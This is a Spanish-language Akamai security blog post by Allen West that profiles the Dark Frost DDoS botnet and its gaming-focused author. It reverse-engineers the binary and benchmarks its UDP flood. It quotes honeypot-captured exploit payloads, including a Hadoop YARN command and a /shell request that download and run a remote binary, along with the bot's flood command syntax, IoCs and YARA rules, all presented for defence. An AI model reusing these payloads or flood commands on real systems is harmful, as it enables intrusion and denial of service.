¿Necesita Cloud Computing? Empiece ahora

El enigma Dark Frost: un perfil de autor de botnets inesperadamente frecuente

Allen West

escrito por

Allen West

May 25, 2023

Allen West

escrito por

Allen West

Allen West es investigador de seguridad del equipo de respuesta a incidentes e inteligencia en seguridad de Akamai y le encanta investigar amenazas y crear herramientas. Actualmente está cursando un máster en seguridad de la información en la Universidad Carnegie Mellon. Obtuvo la licenciatura en ciberseguridad en la Universidad Northeastern y es veterano del Cuerpo de Marines. Durante su tiempo libre, a Allen le encanta viajar, el senderismo, la natación, todo lo que sea al aire libre y relacionado con la aventura.

Editorial y comentario adicional de Eliad Kimhy y Tricia Howard

Resumen ejecutivo

  • El equipo de respuesta a incidentes e inteligencia en seguridad (SIRT) de Akamai ha identificado una nueva botnet, denominada "Dark Frost", dirigida al sector de los videojuegos.

  • La botnet Dark Frost, diseñada a partir de Gafgyt, Qbot, Mirai y otras cepas de malware, se ha ampliado afectando a cientos de dispositivos.

  • Gracias a la ingeniería inversa y a la aplicación de parches al binario del malware, nuestro análisis determinó el potencial de ataque de la botnet en aproximadamente 629,28 Gbps con sus ataques de inundación UDP.

  • En esta entrada del blog, investigaremos al autor de la botnet. Este ciberdelincuente especialmente peligroso ejemplifica un perfil de amenaza con el que hay que tener cuidado: relativamente poco sofisticado, pero eficaz. 

  • Nuestro análisis profundiza en los motivos de los ataques, su eficacia y cómo la legislación ha tratado casos similares.

Introducción

Las botnets sirven para innumerables propósitos y motivaciones. En el mundo del cibercrimen, los operadores de botnets pueden optar por utilizar sus botnets para cualquier cosa, desde criptominería hasta distribución de spam. Con el aumento de las botnets de alquiler, el nivel de esfuerzo necesario para lanzar un ataque de denegación de servicio distribuido (DDoS) ha disminuido considerablemente. Ahora, cualquiera puede optar por llevar a cabo un ataque por cualquier motivo, siempre que pueda pagarlo, con aplicaciones que van desde lo más mundano a lo más complejo. 

En los últimos años, la barrera de entrada para quienes desean construir su propia botnet, en lugar de simplemente alquilar una, también ha bajado significativamente, lo que supone una amenaza significativa para las víctimas desprotegidas. Aunque organizar a cientos de dispositivos para que ejecuten tareas sin el consentimiento de sus propietarios puede parecer complicado, la facilidad de participar en este delito puede resultar engañosamente sencilla. 

Aunque tendemos a pensar en los operadores de botnets como delincuentes sofisticados y organizados, la disponibilidad del código fuente a partir de cepas de malware anteriormente exitosas y la generación de código de IA cada vez más eficaz permiten a aquellos que tengan unos mínimos conocimientos crear su propio malware. Estas botnets “sin florituras” siguen siendo eficaces, pese a su falta de sofisticación, lo que no hace más que agravar el problema.

Perfil del atacante

La fascinante historia de la botnet Dark Frost nos presenta a un perturbador atacante cuya tasa de éxito y nivel de originalidad no coinciden. Este conglomerado de botnets se creó utilizando código robado de varias familias de malware populares (Mirai, Gafgyt y Qbot), lo que ha permitido al atacante llevar a cabo ataques bastante eficaces contra el sector de los videojuegos

Durante este tiempo, se pudo ver al atacante presumiendo de sus proezas en las redes sociales, aprovechando la botnet para participar en triviales enfrentamientos online e incluso dejando firmas digitales en sus archivos binarios (Figura 1). 

Este perfil de amenaza está más extendido de lo que se podría pensar. Con la suficiente determinación y unos conocimientos rudimentarios de programación, casi cualquiera puede convertirse en una amenaza real. Esto es especialmente cierto cuando hablamos de las personas más jóvenes que pueden o no entender las potenciales consecuencias de estas acciones. La confianza en su capacidad de vivir por encima de la ley tiende a eclipsar los parámetros legales establecidos, haciéndolos más peligrosos de lo esperado.

Se vio al atacante presumir de sus proezas en una captura de pantalla de las redes sociales Fig. 1: El autor de Dark Frost reivindica la inmunidad a las repercusiones

Nuestro objetivo no es llamar la atención sobre un ciberdelincuente específico de bajo nivel, un reconocimiento que probablemente desee. Por esta razón, decidimos  omitir la información identificable de los datos de esta publicación. Nuestra principal razón a la hora de redactar este documento fue utilizar esta botnet en particular como caso práctico ejemplificante para destacar cómo incluso los atacantes con niveles de habilidad más bajos pueden infligir daños importantes

Gran parte de la atención de los medios de comunicación se centra en los grupos de amenazas más graves que están lanzando ataques completamente novedosos contra sus incautas víctimas. La verdad, sin embargo, es que una gran parte del ecosistema de atacantes está compuesto por elementos relativamente poco sofisticados que tienen éxito simplemente dirigiéndose a recursos desprotegidos con ataques que se consideran “débiles” según los criterios de referencia actuales. 

Campaña de infección

Nuestra primera muestra binaria de Dark Frost se recogió el 28 de febrero de 2023 en algunos de los señuelos de HTTP del SIRT (equipo de respuesta a incidentes e inteligencia en seguridad) de Akamai. El atacante se dirigía a las configuraciones erróneas de servidores Hadoop YARN (sin CVE asignadas) que permitían la ejecución remota de código (RCE). Aunque la muestra se llamaba "Botnet Darkness", este título ya se había asignado a una campaña de DDoS de alquiler en 2010. En consecuencia, teniendo en cuenta el nombre original y otras referencias binarias, hemos optado por llamarlo “Botnet Dark Frost”.

La explotación de esta configuración incorrecta de YARN ha ido creciendo en popularidad en los últimos tiempos, ya que no se le ha asignado una CVE y permite a los atacantes engañar al servidor para que descargue y ejecute su binario malicioso. Sin embargo, hay que señalar que esta vulnerabilidad existe desde 2014, lo que hace que esté lejos de ser una técnica novedosa. Sin embargo, teniendo en cuenta su nivel de éxito, probablemente seguirá desempeñando un papel importante en futuras botnets pese a su antigüedad. 

El atacante comenzó enviando una sonda para ver si la aplicación era vulnerable a este tipo de ataque (Figura 2).

  /ws/v1/cluster/apps/new-application

  (empty)

Fig. 2: Una sonda para comprobar la vulnerabilidad

Tras recibir la respuesta de una instancia vulnerable conocida que le proporcionamos, el atacante consideró que el objetivo era adecuado y procedió a distribuir la carga maliciosa (Figura 3).

  /ws/v1/cluster/apps	

  {"am-container-spec": {"commands": {"command": "cd /tmp ; pkill -9 roof ; get 
  http://xx.xx.xx.xx/roof; chmod 777 *; ./roof x86; rm -rf roof ; history -c"}}, 
  "application-id": "application_xxxxxxxxx_xxxxx", "application-type": "YARN", 
  "application-name": "xxxxxxx"}

Fig. 3: Entrega de la carga maliciosa 

También vemos otra solicitud HTTP que se está enviando, pero actualmente no sabemos para qué se podría utilizar (Figura 4).

  Feb 12, 2023 @ 00:44:13.207	

  /users/sign_up/users/sign_in

  -

Fig. 4: Solicitud HTTP adicional (uso desconocido)

Al mirar originariamente el archivo, el binario se llamaba “roof”, y aunque el hash no tenía reputación en varias herramientas de terceros, nuestra automatización interna creyó que era similar a Gafgyt (Figura 5). Esto podría deberse al hecho de que las IP de los atacantes distribuyeron una variante específica de Gafgyt en los meses previos a la distribución de los binarios de Dark Frost, pero lo más probable es que coincidieran con varias cadenas comunes en muchos programas maliciosos de hoy en día. 

Captura de pantalla de los lazos familiares con Gafgyt Fig. 5: Dark Frost mostrando sus lazos familiares con Gafgyt

Después de pivotar en la dirección IP para buscar binarios adicionales, encontramos más llamados “roof”, cada uno atribuido al mismo autor con fecha de octubre de 2022. Esto nos proporcionó una nueva IP con la que trabajar, lo que a su vez nos dio pruebas de intentos adicionales de distribuir cargas (Figura 6; censurada por razones de sensibilidad racial).

  /shell?cd%20/tmp%20%7C%7C%20cd%20/var/run%20%7C%7C%20cd%20/mnt%20%7C%7C%20cd%20/root%20%7C%7C%20cd%20/;%20wget%20http://xx.xx.xx.xx/XXXXX7%20;%20chmod%20777%20*%20;%20./XXXXX7%20arm7

Fig. 6: Evidencia de intentos adicionales de distribución de cargas

Probablemente estos intentos de infección no fueron la única vía para la ejecución de la carga. Sin embargo, aquí tenemos mucha información que recabar sobre la botnet y el atacante.

Ataques a videojuegos

Nuestra primera forma de análisis del archivo fue un simple comando “strings” que, inmediatamente, nos llevó al nombre del atacante responsable de este binario y otros. Utilizamos esta información para localizar numerosas cuentas de redes sociales que se atribuían la botnet y muchos ataques. 

La botnet Dark Frost se ha dirigido principalmente a varios sectores de la industria de los videojuegos, tanto a empresas como a personas. Ha lanzado ataques DDoS a empresas de videojuegos, proveedores de alojamiento de servidores de juegos, streamers online e incluso otros miembros de la comunidad de los videojuegos con los que el atacante interactuó directamente. 

A veces el motivo parece ser llamar la atención y, a veces, solo para tener la última palabra en una discusión. En cualquier caso, lo que hace este caso particularmente interesante es que el responsable de estos ataques ha publicado grabaciones en directo de sus ataques para que todos los vean. Diseccionar algunos ataques que tuvieron éxito nos dará una perspectiva de lo mucho que lograron.

Globos sonda para llamar la atención

Este atacante en particular se ha atribuido el mérito de varias actuaciones, con distintos niveles de evidencias. A veces simplemente publicaba en las redes sociales, afirmando ser el causante de diversos problemas, que en realidad no tendrían mucho peso. Sin embargo, ocasionalmente acompaña posteriormente estas afirmaciones con capturas de pantalla que documentan los resultados de sus ataques. 

Un ejemplo de ello es su tuit sobre un ataque a servidores Plutonium (Figura 7), una plataforma de alojamiento de videojuegos de código abierto con servidores dedicados y compatibles con mod.

Un ejemplo de ello es su tuit sobre un ataque a servidores Plutonium Fig. 7: El autor de Dark Frost se jactaba públicamente de los ataques contra servidores Plutonium

Tuits como estos son solo el principio. El atacante llega incluso a publicar vídeos completos de los ataques, como este a un servidor AmongUs (Figura 8).

Captura de pantalla del ciberdelincuente publicando un ataque a un servidor AmongUs Fig. 8: Captura de pantalla del autor de Dark Frost retransmitiendo un vídeo de un ataque con éxito a un servidor AmongUs

Como se puede ver en las capturas de pantalla, este atacante ha estado activo durante cierto tiempo; podemos rastrearlo hasta mayo de 2022, cuando lanzó un ataque contra servidores de Rogue Company (Figura 9).

Captura de pantalla de un ataque con éxito a un servidor AmongUs Fig. 9: Captura de pantalla del autor de Dark Frost retransmitiendo un vídeo de un ataque con éxito a servidores de Rogue Company

Aunque inicialmente parecía que el motivo era el uso propio, más tarde observamos que el atacante creaba cuentas adicionales, indicando su intención de iniciar un grupo de ataques. Esta teoría también se ve respaldada por el hecho de que se agregó un sitio web para realizar un seguimiento de las solicitudes (Figura 10) y un canal de Discord para facilitar los ataques a cambio de dinero (Figura 11).

Pantallazo de solicitudes de captura Fig. 10: Captura de solicitud de capa 7
 El ciberdelincuente burlándose de algunas de sus víctimas Fig. 11: El atacante publicitando su servicio

Incluso encontramos que el ciberdelincuente se burlaba de algunas de sus víctimas y revelaba información de sus compradores (Figura 12).

El atacante burlándose de la víctima Fig. 12: El atacante burlándose de la víctima de un ataque reciente

Con este gran éxito, y planes de crecimiento, nos quedó claro que debíamos profundizar en esta amenaza.

Rascando en la superficie

Algunas de las preguntas más difíciles de responder a la hora de analizar el malware son quién es el responsable del mismo, quiénes son sus objetivos y qué tamaño tiene la botnet. Este ciberdelincuente respondió a las dos primeras preguntas por nosotros, así que vimos a ver si respondía también a la tercera pregunta, y con toda seguridad que lo hizo.

Según la Figura 13, una captura de pantalla realizada por el autor del malware en febrero de 2023, hay 414 dispositivos en la botnet, la mayoría de ellos arquitecturas ARMv4, siendo los dos siguientes más comunes MIPSEL y x86. La presencia de ARMv4 es particularmente interesante, ya que esta arquitectura es bastante anticuada. Este método de compilación específico de ARMv4 y ARMv7 es común porque ARMv4 es compatible con ARMv5 y ARMv6. La compilación tanto de ARMv4 y ARMv7 garantiza que el malware también pueda dirigirse a dispositivos más modernos que se ejecuten en una arquitectura ARMv7. 

Este enfoque de doble objetivo ayuda al malware a crear una red más amplia, lo que aumenta sus posibilidades de infectar dispositivos con éxito.

Captura de pantalla realizada por el autor del malware en febrero de 2023 Fig. 13: Captura de pantalla del desglose de dispositivos de la botnet Dark Frost

A continuación, sabíamos que teníamos que sumergirnos en la cuestión de cómo se desarrollaba todo. Para ello, comenzamos a rastrear los registros de nuestros señuelos para extraer una carga y observar las vulnerabilidades empleadas.

Informe de originalidad: baja

Poder hacernos con el binario hubiera sido difícil si no fuera por nuestro sistema automatizado de recopilación binaria (Figura 14), porque en el momento de la investigación, la IP de distribución estaba inactiva. 

Muestra del binario de Dark Frost Fig. 14: Error al intentar descargar la muestra del binario de Dark Frost

Al recuperar la muestra, nos dimos cuenta de que estábamos ante una versión x86-64 (Figura 15) con stripping, lo que añadió algunas pequeñas molestias en el análisis inverso.

Muestra de Dark Frost Fig. 15: Muestra de Dark Frost con stripping

Sin embargo, había muchos otros indicadores, como la gestión de errores y los mensajes de uso, para orientarnos dentro del código (Figura 16).

Gestión de errores y mensajes de uso para orientarnos en la captura de pantalla del código Fig. 16: Mensaje de error de Dark Frost

En total se produjeron ocho ataques, algunos de ellos muy comunes, como UDP y TCP, pero otros bastante más curiosos, como zgoflood (Figura 17).

  “Usage: !udp <target> <port> <time> <packetsize>",
  “Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>",
  “Usage: !onepacket <target> <port> <time>",
  “Usage: !zgoflood <target> <port> <time>",
  “Usage: !socketflood <target> <port> <time>",
  “Usage: !junkflood <target> <port> <time>",
  “Usage: !std <target> <port> <time> <packetsize>",
  “Usage: !randflood <target> <port> <time> <packetsize>",
  “Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>",

Fig. 17: Opciones de ataque de Dark Frost

Gracias a nuestros esfuerzos por invertir la muestra, pudimos cambiar el nombre de algunas de las funciones con stripping a aquello para lo que dedujimos que se utilizaron (Figura 18).

  > afn fcn.rand_hex_flood 0x00400620
  > afn fcn.std_flood 0x00400f80
  > afn fcn.junk_flood 0x00401080
  > afn fcn.socket_flood 0x004009d0
  > afn fcn.tcp_flood 0x004016f0
  > afn fcn.one_packet_flood fcn.00400770
  > afn fcn.zgo_flood fcn.00400880
  > afn fcn.udp_flood 0x00401450
  > afn fcn.switch_on_attacks fcn.004020e0
  > afn fcn.register_with_c2 fcn.00402ab0
  > afn fcn.watchdog_keep_alive fcn.004001c0

Fig. 18: Funciones con stripping renombradas

A continuación, aplicamos un parche al binario (Figura 19) para que nuestra IP fuera el servidor de mando y control (C2). Puede ver que el nombre de la variable de la cadena es ahora diferente de su valor real. Es interesante observar que el C2 era también la IP de distribución de malware anterior a este cambio.

Captura de pantalla del binario con parche Fig. 19: Binario de Dark Frost con parche

A continuación, dimos permisos de ejecución a la muestra y la ejecutamos para ver lo que sucedía. Al hacerlo, nos dimos cuenta de que potencialmente estábamos ante una variante de Qbot basada en Linux, como indican específicamente los mensajes C2 de la Figura 20.

Tratando una variante Qbot basada en Linux Fig. 20: Mensaje de Dark Frost que muestra sus lazos con Qbot

El linaje exacto real de este malware es muy difícil de precisar, ya que gran parte del código fuente parece provenir de otras cepas de malware exitosas, con BASHLITE como antepasado común. BASHLITE también es conocido como Gafgyt, Lizkebab, PinkSlip, Qbot, Torlus y LizardStresser, lo que también aporta un poco de confusión a la mezcla. 

Una publicación conjunta del CNCERT IoT Threat Research Team y NSFOCUS Shadow Labs de diciembre de 2022 analiza algunas de las operaciones anteriores específicas de Gafgyt y Mirai de este autor. A través de nuestra disección manual, sin embargo, la botnet Dark Frost parece ser un nuevo conglomerado centrado en DDoS de las ramificaciones de BASHLITE, con referencias directas a Qbot y muchas similitudes con Gafgyt. Una nota importante sobre Qbot en el contexto de este malware es que nos referimos al descendiente de BASHLITE “Qbot”, no al troyano bancario “Qakbot/Qbot”. 

Hay diversas variantes de Qbot, Gafgyt y Mirai públicamente disponibles en GitHub que están específicamente destinadas a ataques DDoS, y creemos que el atacante tomó gran parte de su código de estas variantes y luego escribió su propio C2. Incluso con código robado y vulnerabilidades obsoletas, consiguió inactivar bastantes servicios online.

Para descubrir cómo, comenzamos la tarea de evaluar las capacidades de ataque.

Análisis comparativo de ataques

Utilizando otro terminal para escuchar en el puerto C2 especificado (TCP/420), pudimos superar sus comprobaciones de conexión C2, pero el programa daba un error (Figura 21).

Comprobaciones de conexión de C2 Fig. 21: Intento de conexión correcto de C2 de Dark Frost

El malware intenta informar del tipo de SO y la arquitectura de la muestra de malware que infectó el dispositivo (Figura 22). En este caso, estamos usando Arch Linux para detonar y diseccionar una muestra x86.

Muestra de malware que infectó el dispositivo Fig. 22: Ensamblaje de Dark Frost que muestra informes de dispositivos

Después de superar con éxito los pasos de conexión y registro, el programa siguió saliendo pese a todos nuestros esfuerzos. Algunos mensajes de error útiles indicaron que la causa era la falta de un controlador guardián instalado en nuestro laboratorio de malware. Probamos muchas veces a omitir o realizar esta comprobación hasta que nos dimos cuenta de que, aunque aparentemente el proceso había detenido la ejecución en la línea de comandos, había iniciado un proceso secundario en segundo plano que estaba a la espera de recibir comandos. 

Para probarlo, enviamos el latido de una variante de BASHLITE típica utilizando chats IRC para comunicaciones C2 (Figura 23).

Captura de pantalla de comunicaciones con C2 Fig. 23: Comunicaciones de latido con el C2

Al enviar el latido, se devolvió la respuesta adecuada y ya estábamos listos para lanzar ataques contra nosotros mismos. El primer ataque que decidimos probar fue el udp_flood (Figura 24), que parecía ser una simple inundación de paquetes UDP con cada paquete relleno con “U” a la longitud especificada por el atacante.

probando el ataque udp_flood Fig. 24: Captura de paquete de inundación UDP.

Los ataques de “socketflood” y “junkflood” parecían también muy similares, enviando ambos una pequeña cantidad de contenido codificado en hexadecimal a través de TCP (Figura 25). Otra cosa a tener en cuenta es que la “socketflood” en realidad se muestra como “HOLD FLOOD”. 

Captura de pantalla de los ataques socketflood y junkflood Fig. 25: Captura de paquetes de socketflood y junkflood

Al probar el comando C2 que habían enumerado como @c2, nos encontramos con un error de uso. Decidimos que probablemente querían decir !c2, así que lo probamos (Figura 26) y se envió un paquete individual.

Prueba del comando C2 Fig. 26: Paquete enviado de intento al C2

Los ataques de onepacket, std, randfloody zgoflood también se lanzaron correctamente, pero en realidad no enviaron datos (Figura 27). Esto puede significar que estas características todavía están en desarrollo o simplemente no funcionan.

Ataques onepacket, std, randflood y zgoflood Fig. 27: Prueba de onepacket, std, randflood y zgoflood

Como se puede ver, este malware está lejos de ser perfecto. También encontramos muchas otras señales que desencadenarían varias declaraciones de uso, pero que no provocarían ningún ataque, así como numerosos mensajes de odio mal escritos esparcidos por todo el programa. Sin embargo, el atacante tuvo éxito en muchos intentos, por lo que sabíamos que debíamos analizar exactamente cuánto daño podría causar realmente. 

Daños potenciales

Empezamos a analizar comparativamente sus ataques y descubrimos que la inundación UDP era la más fiable y obtenía los mayores resultados. Utilizamos varios tamaños de paquete, comenzando por 1024 para ver cómo afectaba el tamaño a la cantidad total de datos enviados.

Como se puede ver en la Figura 28, ejecutamos este proceso en un puerto específico durante 10 segundos y, a continuación, recopilamos estos datos en tcpdump para analizar los resultados (Figura 29).

  !udp xxx.xxx.xxx.xxx 1420 10 1024

Fig. 28: Análisis comparativo de los ataques

Captura de pantalla de tcpdump Fig. 29: tcpdump de inundación UDP

Los resultados con un tamaño de paquete de 1024 durante 10 segundos fueron de 1,4 millones de paquetes capturados, con un resultado total de 1,5 GB de datos. Esto supone 1,2 Gbps. Haciendo este mismo experimento, obtuvimos los siguientes resultados para varios tamaños de paquetes (Tabla 1).

Tamaño del paquete

Paquetes capturados

Tamaño total

Resultados

256

1 818 558

545 M

436 Mbps

512

1 703 925

927 M

741,6 Mbps

1024

1 448 826

1,5 G

1,2 Gbps

2048

307 429

449 M

359,2 Mbps

Tabla 1: Resultados de Dark Frost por paquetes con exclusión de fragmentos

Al ejecutar así la prueba, lo que probablemente veríamos utilizar a un atacante con este paquete es cerca de 1024. Si se duplica, los resultados del paquete disminuyen debido a su fragmentación, lo que significa que solo observamos los paquetes que pasaban por el puerto especificado y no sus fragmentos. Para continuar correctamente con el análisis comparativo, tuvimos que iniciar estos ataques en el loopback para evitar la fragmentación y escuchar en la interfaz del loopback para volver a realizar la medición (Tabla 2). 

Tamaño del paquete

Paquetes capturados

Tamaño total

Resultados

1024

1 659 840

1,4 G

1,12 Gbps

2048

1 445 158

1,9 G

1,52 Gbps

4096

828 681

1,9 G

1,52 Gbps

8192

432 884

1,8 G

1,44 Gbps

Tabla 2: Resultados de Dark Frost incluidos los fragmentos de paquetes

Como se puede ver, el tamaño óptimo para obtener los máximos resultados es 2048. Después de este punto, el número de paquetes que se envían disminuye significativamente. Esto se debe probablemente al hecho de que los paquetes UDP se están rellenando con caracteres “U” para que tengan la longitud deseada y, probablemente, esta operación se ralentiza en tamaños más grandes. 

Con 1,52 Gbps como nuevo índice de referencia de nodo único, podemos multiplicar este valor por el número de nodos de la botnet a fecha de febrero de 2023 (414) para obtener 629,28 Gbps.

¿Es ilegal un DDoS?

Es sorprendentemente común encontrar ciberdelincuentes aficionados o incluso “investigadores de seguridad” que crean y lanzan botnets para varios propósitos sintiéndose aparentemente intocables mientras lo hacen. Los usuarios de servicios de DDoS de alquiler añaden otra capa de falsa seguridad porque creen que no son los que cometen los delitos cuando lanzan sus ataques aprovechando estos servicios. 

Si bien las pruebas y el descubrimiento son cruciales para un investigador en ciernes, es imperativo que esto se haga en entornos propios para evitar consecuencias legales (o fiduciarias). Ha habido una tendencia creciente de responsabilizar a los ciberdelincuentes de su papel en estos delitos, para sentar precedentes y eliminar cualquier duda sobre la legalidad de ofrecer estos servicios al público en general.  

Un buen ejemplo de estos esfuerzos para luchar contra operaciones criminales similares es la Operación PowerOFF. Inicialmente lanzada en 2018, con acciones de seguimiento en 2022 y 2023, esta operación que está aún en curso se lleva a cabo en parte como una operación conjunta con la Oficina Federal de Investigación de los Estados Unidos (FBI), el Cuerpo Nacional de Policía de los Países Bajos, la Europol, la Bundeskriminalamt alemana, la Oficina Central Polaca de Lucha contra el Cibercrimen y la Agencia Nacional contra el Crimen del Reino Unido. El objetivo de esta operación es atrapar a numerosos sitios web que ofrecen servicios de DDoS de alquiler, de forma muy similar a lo que este atacante está intentando crear y comercializar. Esta lucha ha implicado hasta ahora múltiples detenciones, incautaciones,y mucha atención de los medios de comunicación.

Sin embargo, las organizaciones deben tener en cuenta que el simple hecho de que sea ilegal no significa que muchos otros no lo vayan a intentar, y les corresponde a ellas adoptar las contramedidas de defensa adecuadas para protegerse en consecuencia.

Conclusiones

El alcance que estos ciberdelincuentes pueden tener es impresionante pese a que sus técnicas no sean nada nuevas. Aunque no es el adversario más avanzado ni más desafiante, la botnet Dark Frost todavía ha conseguido acumular cientos de dispositivos comprometidos para cumplir su objetivo. 

Los avances tecnológicos que la sociedad ha visto en los últimos años han ofrecido los medios para provocar consecuencias reales desde detrás de una pantalla. Con unos planes claros para ampliar sus operaciones, el ciberdelincuente que se encuentra detrás de la botnet Dark Frost ha demostrado su intención de infligir daños a una escala aún mayor con ganancias financieras como incentivo principal. Es crucial que la comunidad de la seguridad empiece a reconocer a ciberdelincuentes de bajo nivel como estos en sus inicios antes de que se conviertan en amenazas importantes. 

Es importante señalar que cada ciberdelincuente no siempre es tan público con sus fechorías como la que hemos analizado aquí. Sin embargo, esta barrera de entrada bajada seguirá siendo explotada por numerosas vías nocivas, tanto para las organizaciones como para las personas. 

Protéjase con Akamai

Aunque la botnet Dark Frost cuenta con ataques lo suficientemente fuertes como para detener muchos servicios online, aquellos que están protegidos por Akamai están bastante seguros. El SIRT continuará supervisando amenazas como estas y alertando a la comunidad de lo que observamos. Para obtener más información en tiempo real sobre las investigaciones de Akamai, síganos en Twitter.

IoC

  • Hashes

    • 45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da8 (Dark Frost)

    • f4167f038ecc414bd074eedfb1189c104b24549d3363efc236356d383ec72c41 (mismo autor)

    • 0bdafdd65d9a1a0ed59745a8ef6f6fc0a0f6262c495547c3e45e203921dcc2f2 (mismo autor)

    • 9b328d2e3ffbac07458054c9e148b66e5d60c4aff95c1475ee975ba2f2d350bc (mismo autor)

    • beb8eedd346e0427ce65d8ac8c81a63922941d404ddb63b99f1e2adba3d1e769 (mismo autor)

  • IP

    • 37.44.238[.]192

    • 46.249.32[.]136

    • 37.44.238[,]191

    • 178.17.174[,]182

  • Rutas

    • http://<ip>/roof

  • Regla de Yara

    • Estricto

  
rule ___Dark_Frost_roof_strict {
   meta:
      description = "Dark_Frost - file roof"
      hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
   strings:
      $s1 = "[37m] Usage: !socketflood <target> <port> <time>" fullword ascii
      $s2 = "[37m] Usage: !junkflood <target> <port> <time>" fullword ascii
      $s3 = "[37m] Usage: !randflood <target> <port> <time> <packetsize>" fullword ascii
      $s4 = "[37m] Usage: !zgoflood <target> <port> <time>" fullword ascii
      $s5 = "[37m] Usage: !std <target> <port> <time> <packetsize>" fullword ascii
      $s6 = "[37m] Usage: !udp <target> <port> <time> <packetsize>" fullword ascii
      $s7 = "[37m] Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>" fullword ascii
      $s8 = "[37m] Usage: !onepacket <target> <port> <time>" fullword ascii
      $s9 = "32352e31302e3133392e3537" ascii /* hex encoded string '25.10.139.57' */
      $s10 = "3135332e33312e3231332e3333" ascii /* hex encoded string '153.31.213.33' */
      $s11 = "3135362e33332e3234312e35" ascii /* hex encoded string '156.33.241.5' */
      $s12 = "[37m] Connected to C2 on attempt #" fullword ascii
      $s13 = "[killer] finding and killing processes holding port %d" fullword ascii
      $s14 = "[37m] Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>" fullword ascii
      $s15 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
      $s16 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
      $s17 = "[killer] new login: killing pid=%d" fullword ascii
      $s18 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
      $s19 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" fullword ascii
      $s20 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)" fullword ascii
   condition:
      uint16(0) == 0x457f and filesize < 400KB and
      8 of them
}
  • Indulgente

 

  rule ___Dark_Frost_roof_lenient {
   meta:
      description = "Dark_Frost - file roof"
      hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
   strings:
      $s1 = "!zgoflood"
      $s2 = “@c2 <c2 ip>”
      $s3 = “Successfully registered[darkness.%s] :D”
      $s4 = “ZGO Flooding”
   condition:
      any of them
}


Allen West

escrito por

Allen West

May 25, 2023

Allen West

escrito por

Allen West

Allen West es investigador de seguridad del equipo de respuesta a incidentes e inteligencia en seguridad de Akamai y le encanta investigar amenazas y crear herramientas. Actualmente está cursando un máster en seguridad de la información en la Universidad Carnegie Mellon. Obtuvo la licenciatura en ciberseguridad en la Universidad Northeastern y es veterano del Cuerpo de Marines. Durante su tiempo libre, a Allen le encanta viajar, el senderismo, la natación, todo lo que sea al aire libre y relacionado con la aventura.